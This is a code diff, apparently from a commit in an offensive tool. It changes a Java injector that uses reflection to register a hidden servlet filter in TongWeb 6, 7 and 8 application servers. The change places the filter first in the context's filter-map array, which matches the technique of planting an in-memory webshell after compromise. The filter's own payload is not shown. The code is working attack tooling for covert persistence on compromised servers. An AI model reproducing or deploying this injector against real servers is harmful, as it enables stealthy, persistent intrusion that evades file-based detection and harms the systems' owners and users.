|
4 | 4 | import java.io.ByteArrayOutputStream; |
5 | 5 | import java.io.IOException; |
6 | 6 | import java.io.PrintStream; |
| 7 | +import java.lang.reflect.Array; |
7 | 8 | import java.lang.reflect.Constructor; |
8 | 9 | import java.lang.reflect.Field; |
9 | 10 | import java.lang.reflect.Method; |
@@ -149,32 +150,42 @@ public void inject(Object context, Object filter) throws Exception { |
149 | 150 | String filterClassName = getClassName(); |
150 | 151 | Object filterDef; |
151 | 152 | Object filterMap; |
| 153 | + Class<?> filterMapClass; |
152 | 154 | Constructor<?> constructor; |
153 | 155 | ClassLoader contextClassLoader = context.getClass().getClassLoader(); |
154 | 156 | try { |
155 | 157 | // tongweb 7 |
156 | 158 | constructor = contextClassLoader.loadClass("com.tongweb.catalina.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; |
157 | 159 | filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); |
158 | | - filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); |
| 160 | + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); |
| 161 | + filterMap = filterMapClass.newInstance(); |
159 | 162 | } catch (Exception e2) { |
160 | 163 | try { |
161 | 164 | // tongweb 6 |
162 | 165 | constructor = contextClassLoader.loadClass("com.tongweb.web.thor.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; |
163 | 166 | filterDef = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterDef").newInstance(); |
164 | | - filterMap = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap").newInstance(); |
| 167 | + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.thor.deploy.FilterMap"); |
| 168 | + filterMap = filterMapClass.newInstance(); |
165 | 169 | } catch (Exception e) { |
166 | 170 | // tongweb 8 |
167 | 171 | constructor = contextClassLoader.loadClass("com.tongweb.server.core.ApplicationFilterConfig").getDeclaredConstructors()[0]; |
168 | 172 | filterDef = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterDef").newInstance(); |
169 | | - filterMap = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap").newInstance(); |
| 173 | + filterMapClass = contextClassLoader.loadClass("com.tongweb.web.util.descriptor.web.FilterMap"); |
| 174 | + filterMap = filterMapClass.newInstance(); |
170 | 175 | } |
171 | 176 | } |
172 | 177 | invokeMethod(filterDef, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); |
173 | 178 | invokeMethod(filterDef, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName}); |
174 | 179 | invokeMethod(context, "addFilterDef", new Class[]{filterDef.getClass()}, new Object[]{filterDef}); |
175 | 180 | invokeMethod(filterMap, "setFilterName", new Class[]{String.class}, new Object[]{filterClassName}); |
176 | 181 | invokeMethod(filterMap, "addURLPattern", new Class[]{String.class}, new Object[]{getUrlPattern()}); |
177 | | - invokeMethod(context, "addFilterMapBefore", new Class[]{filterMap.getClass()}, new Object[]{filterMap}); |
| 182 | + |
| 183 | + // addFilterMapFirst |
| 184 | + Object[] filterMaps = (Object[]) invokeMethod(context, "findFilterMaps", null, null); |
| 185 | + Object[] results = (Object[]) Array.newInstance(filterMapClass, filterMaps.length + 1); |
| 186 | + results[0] = filterMap; |
| 187 | + System.arraycopy(filterMaps, 0, results, 1, filterMaps.length); |
| 188 | + setFieldValue(getFieldValue(context, "filterMaps"), "array", results); |
178 | 189 |
|
179 | 190 | constructor.setAccessible(true); |
180 | 191 | Object filterConfig = constructor.newInstance(context, filterDef); |
@@ -247,22 +258,37 @@ public static Object invokeMethod(Object obj, String methodName, Class<?>[] para |
247 | 258 | } |
248 | 259 | } |
249 | 260 |
|
| 261 | + |
250 | 262 | @SuppressWarnings("all") |
251 | | - public static Object getFieldValue(Object obj, String name) throws Exception { |
252 | | - Class<?> clazz = obj.getClass(); |
253 | | - while (clazz != Object.class) { |
| 263 | + public static Field getField(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { |
| 264 | + for (Class<?> clazz = obj.getClass(); |
| 265 | + clazz != Object.class; |
| 266 | + clazz = clazz.getSuperclass()) { |
254 | 267 | try { |
255 | | - Field field = clazz.getDeclaredField(name); |
256 | | - field.setAccessible(true); |
257 | | - return field.get(obj); |
258 | | - } catch (NoSuchFieldException var5) { |
259 | | - clazz = clazz.getSuperclass(); |
| 268 | + return clazz.getDeclaredField(name); |
| 269 | + } catch (NoSuchFieldException ignored) { |
| 270 | + |
260 | 271 | } |
261 | 272 | } |
262 | 273 | throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name); |
263 | 274 | } |
264 | 275 |
|
265 | 276 |
|
| 277 | + @SuppressWarnings("all") |
| 278 | + public static Object getFieldValue(Object obj, String name) throws NoSuchFieldException, IllegalAccessException { |
| 279 | + Field field = getField(obj, name); |
| 280 | + field.setAccessible(true); |
| 281 | + return field.get(obj); |
| 282 | + } |
| 283 | + |
| 284 | + |
| 285 | + public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception { |
| 286 | + Field field = getField(obj, fieldName); |
| 287 | + field.setAccessible(true); |
| 288 | + field.set(obj, value); |
| 289 | + } |
| 290 | + |
| 291 | + |
266 | 292 | @SuppressWarnings("all") |
267 | 293 | private String getErrorMessage(Throwable throwable) { |
268 | 294 | PrintStream printStream = null; |
|
0 commit comments